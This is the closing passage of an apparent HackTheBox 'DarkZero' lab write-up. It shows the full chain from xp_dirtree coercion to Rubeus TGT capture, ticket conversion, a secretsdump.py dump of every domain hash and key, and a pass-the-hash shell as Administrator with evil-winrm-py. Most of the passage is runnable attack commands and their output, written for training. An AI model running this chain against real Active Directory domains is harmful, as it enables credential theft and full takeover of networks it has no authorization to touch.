<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (darkzero\john.w  guest@master)&gt; </span><span class="n">xp_dirtree</span><span class="w"> </span><span class="nx">\\DC02.darkzero.ext\C</span><span class="err">$</span><span class="w">
</span><span class="go">subdirectory   depth   file   
------------   -----   ----  
</span></code></pre></div></div>

<p>Less than 10 seconds later, Rubeus dumps out a new TGT:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">[*] 3/12/2026 1:09:43 PM UTC - Found new TGT:

  User                  :  DC01$@DARKZERO.HTB
  StartTime             :  3/12/2026 1:00:53 PM
  EndTime               :  3/12/2026 11:00:53 PM
  RenewTill             :  3/19/2026 1:00:53 PM
  Flags                 :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
  Base64EncodedTicket   :

    doIFjDCCBYigAwIBBaEDAgEWooIElDCCBJBhggSMMIIEiKADAgEFoQ4bDERBUktaRVJPLkhUQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMREFSS1pFUk8uSFRCo4IETDCCBEigAwIBEqEDAgECooIEOgSCBDYzn+rqMiR1aSwZZrMO1C88RSYgO3nEC0jtNTFwGRx1AyXk5xaJoTx4ij8JXWLHmKHeATVbIW57Uy/PMg8aUPpZRyH4vT9d4QIRS/3qIprbZWLNWbQBw3kunttGwYNNAIa6IjIQA2VyACQnpIgGFDg5uH0kbZMVy+qIQLDjNijigl3p5igUZW5LHhsSGXaMJZz3pBwNIChhEqP92yrxQwVPn63P715dpahWUoiIu9n9ATLTBji2mS/wm0IwApkE1gLvQJ5MGh3tC/8n/EZYuDJ+q3YC2xOVMYWpO54W82gteibjEoB7mAWJc21gxV5xDusKgOwI3HVE0/AScSFWug3ZLd84O3mL6W+6b8lxdkYRQUJKgOm3YBsbBEi71L07+mfnndVzk6E/2JAAocmVU/e5b+4bHxQ06v0NE/UoYvHsaIJCX/0z0R3yPCSAGchQQUIYSW4O5KlXHSs0MOtv6WzUrCdEoHjl0jnN6UuyNuuOYVlaqnOL4tJYGRR9CewKvMo6cDvDUL0r4Evf68BezOSwraaHfLVGcorqJESjzLbFMQORSQHcx0iy0zG6UBPVCiUvbGnutVaZnbl8sctCJJ4Acq22OJsJYcjsP7I7WzX36z1uYo7aYhnF65cbuWrMhGmKlyZgvb5rpGHMaZqIFgtHuru57F7TDlXmHRknhs6Uagc+MTHuk11UbxeHHGgnFkN5x3sets3dxZdbx/Pxglf4WgVcqsMzTsNsS8gx3gdzn628u1884I1zwrb4VEsiZ+cjw7h+U3im23fDGzuSgBqpRg4bwpN9T3j1x3vRpvFvb5Gj0hEe3jfIx6mQ220k2tcK57kVlNeW0Owtdc7hwo3o+EOxVEYp6iSnXypl6f5Pw4pWLdTE6dKJwXAjRKf71ItXmjlsj4d/97xAM4NojXOrob+j/HkBQW1bjnzAEccKDs3p7StSaDCWBK5hzKEPMokxam0xUUjoQRqwYeTcZcJMMeq9BNB/syRsmy53p4rXMO+jqvjUhM6mkR+fzXm20cLH+D9Dj3dIwC/mQvbALG2R0LLXJqCZoW0I8W9mBfyJF0PlMG7Q6l3OAa1MRdRR/SelOvIVPTbm+aeH3Zd/GI24UsTmdyj4K6EswSzIBldQtTRt2LIUpCbvhSLEp1mmXIXkdN5uBXMxe0fd9QiM1rKZQhZlobYCkRPkOR+P4WZXICELJcRKiLxHd4XIatB1eMAiHQN9gPkUe5zvfTJwUiWGys4b0fN/70Fe5B6VneTNTec1AX93Ysbms+G02H9BUnCV9jX5pSAjotvf/BNxxw962LYXTeopwejxWBpbjOR1zinwGZWhBNfdEzYQB/SQ49gLzBSbdEMp0/QdI6Z4QGkx0GyIQW9n83RSL7gFhEsxy7OM4l4PZMrCERgwh3rbh0ejm2oDPXefPrxlgADehUElw+4lgDWeo4HjMIHgoAMCAQCigdgEgdV9gdIwgc+ggcwwgckwgcagKzApoAMCARKhIgQgv1Qux72AJcFcSlLVeaQXOWWv4cYokXrkvbOnwaVJ2cahDhsMREFSS1pFUk8uSFRCohIwEKADAgEBoQkwBxsFREMwMSSjBwMFAGChAAClERgPMjAyNjAzMTIxMzAwNTNaphEYDzIwMjYwMzEyMjMwMDUzWqcRGA8yMDI2MDMxOTEzMDA1M1qoDhsMREFSS1pFUk8uSFRCqSEwH6ADAgECoRgwFhsGa3JidGd0GwxEQVJLWkVSTy5IVEI=
</span></code></pre></div></div>

<p>It’s for DC01$ on <code class="language-plaintext highlighter-rouge">darkzero.htb</code>! And it has the <code class="language-plaintext highlighter-rouge">forwarded</code> and <code class="language-plaintext highlighter-rouge">forwardable</code> flags from the cross-forest TGT delegation.</p>

<h3 id="secrets-dump">Secrets Dump</h3>

<p>With a Kerberos ticket that will work as the DC01$ machine account on DC01, I’ll use it to run <code class="language-plaintext highlighter-rouge">secretsdump.py</code> and get all the domain hashes. First I need to base64 decode the Rubeus output into a file and convert it to CCACHE format:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">echo</span> <span class="s1">'doIFjDCCBYigAwIBBaEDAgEWooIElDCCBJBhggSMMIIEiKADAgEFoQ4bDERBUktaRVJPLkhUQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMREFSS1pFUk8uSFRCo4IETDCCBEigAwIBEqEDAgECooIEOgSCBDYzn+rqMiR1aSwZZrMO1C88RSYgO3nEC0jtNTFwGRx1AyXk5xaJoTx4ij8JXWLHmKHeATVbIW57Uy/PMg8aUPpZRyH4vT9d4QIRS/3qIprbZWLNWbQBw3kunttGwYNNAIa6IjIQA2VyACQnpIgGFDg5uH0kbZMVy+qIQLDjNijigl3p5igUZW5LHhsSGXaMJZz3pBwNIChhEqP92yrxQwVPn63P715dpahWUoiIu9n9ATLTBji2mS/wm0IwApkE1gLvQJ5MGh3tC/8n/EZYuDJ+q3YC2xOVMYWpO54W82gteibjEoB7mAWJc21gxV5xDusKgOwI3HVE0/AScSFWug3ZLd84O3mL6W+6b8lxdkYRQUJKgOm3YBsbBEi71L07+mfnndVzk6E/2JAAocmVU/e5b+4bHxQ06v0NE/UoYvHsaIJCX/0z0R3yPCSAGchQQUIYSW4O5KlXHSs0MOtv6WzUrCdEoHjl0jnN6UuyNuuOYVlaqnOL4tJYGRR9CewKvMo6cDvDUL0r4Evf68BezOSwraaHfLVGcorqJESjzLbFMQORSQHcx0iy0zG6UBPVCiUvbGnutVaZnbl8sctCJJ4Acq22OJsJYcjsP7I7WzX36z1uYo7aYhnF65cbuWrMhGmKlyZgvb5rpGHMaZqIFgtHuru57F7TDlXmHRknhs6Uagc+MTHuk11UbxeHHGgnFkN5x3sets3dxZdbx/Pxglf4WgVcqsMzTsNsS8gx3gdzn628u1884I1zwrb4VEsiZ+cjw7h+U3im23fDGzuSgBqpRg4bwpN9T3j1x3vRpvFvb5Gj0hEe3jfIx6mQ220k2tcK57kVlNeW0Owtdc7hwo3o+EOxVEYp6iSnXypl6f5Pw4pWLdTE6dKJwXAjRKf71ItXmjlsj4d/97xAM4NojXOrob+j/HkBQW1bjnzAEccKDs3p7StSaDCWBK5hzKEPMokxam0xUUjoQRqwYeTcZcJMMeq9BNB/syRsmy53p4rXMO+jqvjUhM6mkR+fzXm20cLH+D9Dj3dIwC/mQvbALG2R0LLXJqCZoW0I8W9mBfyJF0PlMG7Q6l3OAa1MRdRR/SelOvIVPTbm+aeH3Zd/GI24UsTmdyj4K6EswSzIBldQtTRt2LIUpCbvhSLEp1mmXIXkdN5uBXMxe0fd9QiM1rKZQhZlobYCkRPkOR+P4WZXICELJcRKiLxHd4XIatB1eMAiHQN9gPkUe5zvfTJwUiWGys4b0fN/70Fe5B6VneTNTec1AX93Ysbms+G02H9BUnCV9jX5pSAjotvf/BNxxw962LYXTeopwejxWBpbjOR1zinwGZWhBNfdEzYQB/SQ49gLzBSbdEMp0/QdI6Z4QGkx0GyIQW9n83RSL7gFhEsxy7OM4l4PZMrCERgwh3rbh0ejm2oDPXefPrxlgADehUElw+4lgDWeo4HjMIHgoAMCAQCigdgEgdV9gdIwgc+ggcwwgckwgcagKzApoAMCARKhIgQgv1Qux72AJcFcSlLVeaQXOWWv4cYokXrkvbOnwaVJ2cahDhsMREFSS1pFUk8uSFRCohIwEKADAgEBoQkwBxsFREMwMSSjBwMFAGChAAClERgPMjAyNjAzMTIxMzAwNTNaphEYDzIwMjYwMzEyMjMwMDUzWqcRGA8yMDI2MDMxOTEzMDA1M1qoDhsMREFSS1pFUk8uSFRCqSEwH6ADAgECoRgwFhsGa3JidGd0GwxEQVJLWkVSTy5IVEI='</span> | <span class="nb">base64</span> <span class="nt">-d</span> <span class="o">&gt;</span> dc01.kirbi 
<span class="gp">oxdf@hacky$</span><span class="w"> </span>ticketConverter.py dc01.kirbi dc01.ccache
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] converting kirbi to ccache...
[+] done
</span></code></pre></div></div>

<p>Now I use that to <code class="language-plaintext highlighter-rouge">secretsdump.py</code>:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$ </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>dc01.ccache secretsdump.py <span class="nt">-k</span> <span class="nt">-no-pass</span> DC01.darkzero.htb <span class="nt">-just-dc</span>
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5917507bdf2ef2c2b0a869a1cba40726:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:64f4771e4c60b8b176c3769300f6f3f7:::
john.w:2603:aad3b435b51404eeaad3b435b51404ee:44b1b5623a1446b5831a7b3a4be3977b:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:d02e3fe0986e9b5f013dad12b2350b3a:::
darkzero-ext$:2602:aad3b435b51404eeaad3b435b51404ee:f69a9340e0b70ca07af85bb35e691466:::
[*] Kerberos keys grabbed
Administrator:0x14:2f8efea2896670fa78f4da08a53c1ced59018a89b762cbcf6628bd290039b9cd
Administrator:0x13:a23315d970fe9d556be03ab611730673
Administrator:aes256-cts-hmac-sha1-96:d4aa4a338e44acd57b857fc4d650407ca2f9ac3d6f79c9de59141575ab16cabd
Administrator:aes128-cts-hmac-sha1-96:b1e04b87abab7be2c600fc652ac84362
Administrator:0x17:5917507bdf2ef2c2b0a869a1cba40726
krbtgt:aes256-cts-hmac-sha1-96:6330aee12ac37e9c42bc9af3f1fec55d7755c31d70095ca1927458d216884d41
krbtgt:aes128-cts-hmac-sha1-96:0ffbe626519980a499cb85b30e0b80f3
krbtgt:0x17:64f4771e4c60b8b176c3769300f6f3f7
john.w:0x14:f6d74915f051ef9c1c085d31f02698c04a4c6804d509b7c4442e8593d6d957ea
john.w:0x13:7b145a89aed458eaea530a2bd1eb93bd
john.w:aes256-cts-hmac-sha1-96:49a6d3404e9d19859c0eea1036f6e95debbdea99efea4e2c11ee529add37717e
john.w:aes128-cts-hmac-sha1-96:87d9cbd84d85c50904eba39d588e47db
john.w:0x17:44b1b5623a1446b5831a7b3a4be3977b
DC01$:aes256-cts-hmac-sha1-96:25e1e7b4219c9b414726983f0f50bbf28daa11dd4a24eed82c451c4d763c9941
DC01$:aes128-cts-hmac-sha1-96:9996363bffe713a6777597c876d4f9db
DC01$:0x17:d02e3fe0986e9b5f013dad12b2350b3a
darkzero-ext$:aes256-cts-hmac-sha1-96:406fc2fb12d45c5beddf2d7a06812cd71cf06b21619cdaab856de586207e15af
darkzero-ext$:aes128-cts-hmac-sha1-96:fdf34bbd93f9909d68406074308977c5
darkzero-ext$:0x17:f69a9340e0b70ca07af85bb35e691466
[*] Cleaning up... 
</span></code></pre></div></div>

<h3 id="evil-winrm-py">Evil-WinRM-Py</h3>

<p>I’ll use the Administrator hash to get a shell on DC01:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>evil-winrm-py <span class="nt">-i</span> DC01.darkzero.htb <span class="nt">-u</span> Administrator <span class="nt">-H</span> 5917507bdf2ef2c2b0a869a1cba40726
<span class="go">          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.5.0

[*] Connecting to 'DC01.darkzero.htb:5985' as 'Administrator'
</span><span class="gp">evil-winrm-py PS C:\Users\Administrator\Documents&gt;</span><span class="w">
</span></code></pre></div></div>

<p>And read <code class="language-plaintext highlighter-rouge">root.txt</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\Users\Administrator\Desktop&gt;</span><span class="w"> </span><span class="n">cat</span><span class="w"> </span><span class="nx">root.txt</span><span class="w">
</span><span class="go">c07243ef************************
</span></code></pre></div></div>]]></content><author><name></name></author><category term="ctf" /><category term="hackthebox" /><category term="htb-darkzero" /><category term="pentest" /><category term="bug-bounty" /><category term="ctf" /><category term="htb-darkzero" /><category term="hackthebox" /><category term="nmap" /><category term="mssql" /><category term="windows" /><category term="active-directory" /><category term="netexec" /><category term="netexec-hosts" /><category term="assume-breach" /><category term="bloodhound" /><category term="netexec-rid-brute" /><category term="netexec-bloodhound" /><category term="rusthound-ce" /><category term="adcs" /><category term="domain-trust" /><category term="impacket" /><category term="mssqlclient" /><category term="mssql-linked-servers" /><category term="xp-cmdshell" /><category term="seimpersonate" /><category term="named-pipe" /><category term="service-logon" /><category term="recover-seimpersonate" /><category term="htb-signed" /><category term="godpotato" /><category term="runascs" /><category term="rubeus" /><category term="chisel" /><category term="tunnel" /><category term="ticketconverter" /><category term="describeticket" /><category term="certutil" /><category term="certipy" /><category term="proxychains" /><category term="changepasswd" /><category term="ntlm-authentication-reflection" /><category term="cve-2025-33073" /><category term="cve-2025-58726" /><category term="cve-2025-54918" /><category term="credential-target-information" /><category term="cmti" /><category term="dns-record" /><category term="dnstool" /><category term="htb-darkcorp" /><category term="htb-vulncicada" /><category term="coerce" /><category term="petitpotam" /><category term="responder" /><category term="netexec-coerce-plus" /><category term="ntlmrelayx" /><category term="ntlmrelayx-partial-mic" /><category term="psexec-py" /><category term="cve-2024-30088" /><category term="metasploit" /><category term="msfvenom" /><category term="meterpreter" /><category term="local-exploit-suggester" /><category term="enum-adtrusts" /><category term="htb-ghost" /><category term="xp-dirtree" /><category term="secretsdump" /><category term="evil-winrm-py" /><category term="oscp-plus-v3" /><summary type="html"><![CDATA[DarkZero is an assume breach Windows box with two forests connected by a bidirectional cross-forest trust. Starting with given credentials, I’ll enumerate MSSQL on DC01 and find a linked server to DC02 in the other forest where the mapped account is sysadmin. I’ll enable xp_cmdshell on DC02 to get a shell as the SQL service account. To escalate to SYSTEM on DC02, I’ll show four paths: recovering SeImpersonatePrivilege from the original logon token via named pipe impersonation, using ADCS certificate enrollment to get an NT hash and change the password for a service logon with RunAsCS, NTLM authentication reflection using the CMTI DNS record trick to relay the machine account back to its own LDAPS, and CVE-2024-30088. As SYSTEM on DC02, I’ll abuse the cross-forest TGT delegation to capture DC01’s machine account TGT and use it to dump all domain hashes from DC01.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/darkzero-cover.png" /><media:content medium="image" url="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/darkzero-cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>